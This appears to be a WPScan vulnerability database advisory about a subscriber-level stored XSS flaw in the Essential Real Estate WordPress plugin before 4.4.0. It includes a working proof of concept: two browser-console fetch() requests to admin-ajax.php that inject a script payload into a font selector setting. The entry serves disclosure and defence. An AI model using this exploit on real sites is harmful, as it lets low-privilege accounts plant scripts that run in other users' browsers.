Lucene search

K
wpvulndbKrzysztof Zając (CERT PL)WPVDB-ID:DF12513B-9664-45BE-8824-2924BFDDF364
HistoryDec 18, 2023 - 12:00 a.m.

Essential Real Estate < 4.4.0 - Subscriber+ Stored XSS

2023-12-1800:00:00
Krzysztof Zając (CERT PL)
wpscan.com
8
real estate plugin
stored xss
subscriber account
capability checks
ajax actions
malicious script

AI Score

5.4

Confidence

High

EPSS

0

Percentile

14.0%

Description The plugin does not apply proper capability checks on its AJAX actions, which among other things, allow attackers with a subscriber account to conduct Stored XSS attacks.

PoC

1. Login with a subscriber account, and visit https://vulnerable-site.tld/wp-admin/profile.php?action=delete 2. Paste the following in your browser’s console: fetch("/wp-admin/admin-ajax.php?action=gsf_change_font", {"headers": {"content-type": "application/x-www-form-urlencoded",},"body": `_nonce=${GSF_META_DATA['nonce']}&amp;font;_data[kind]=custom&amp;font;_data[selector]=ppppp`,"method": "POST",}).then((response) =&gt; {return response.text(); }).then((data) =&gt; {console.log(data);}) 3. And then the following: fetch("/wp-admin/admin-ajax.php?action=gsf_save_active_font", {"headers": {"content-type": "application/x-www-form-urlencoded",},"body": `_nonce=${GSF_META_DATA['nonce']}&amp;font;[0][kind]=custom&amp;font;[0][selector]=");alert(1);//`,"method": "POST",}).then((response) =&gt; {return response.text(); }).then((data) =&gt; {console.log(data);}) 4. Visit the site to witness our malicious script running, triggering an alert box.

AI Score

5.4

Confidence

High

EPSS

0

Percentile

14.0%

Related for WPVDB-ID:DF12513B-9664-45BE-8824-2924BFDDF364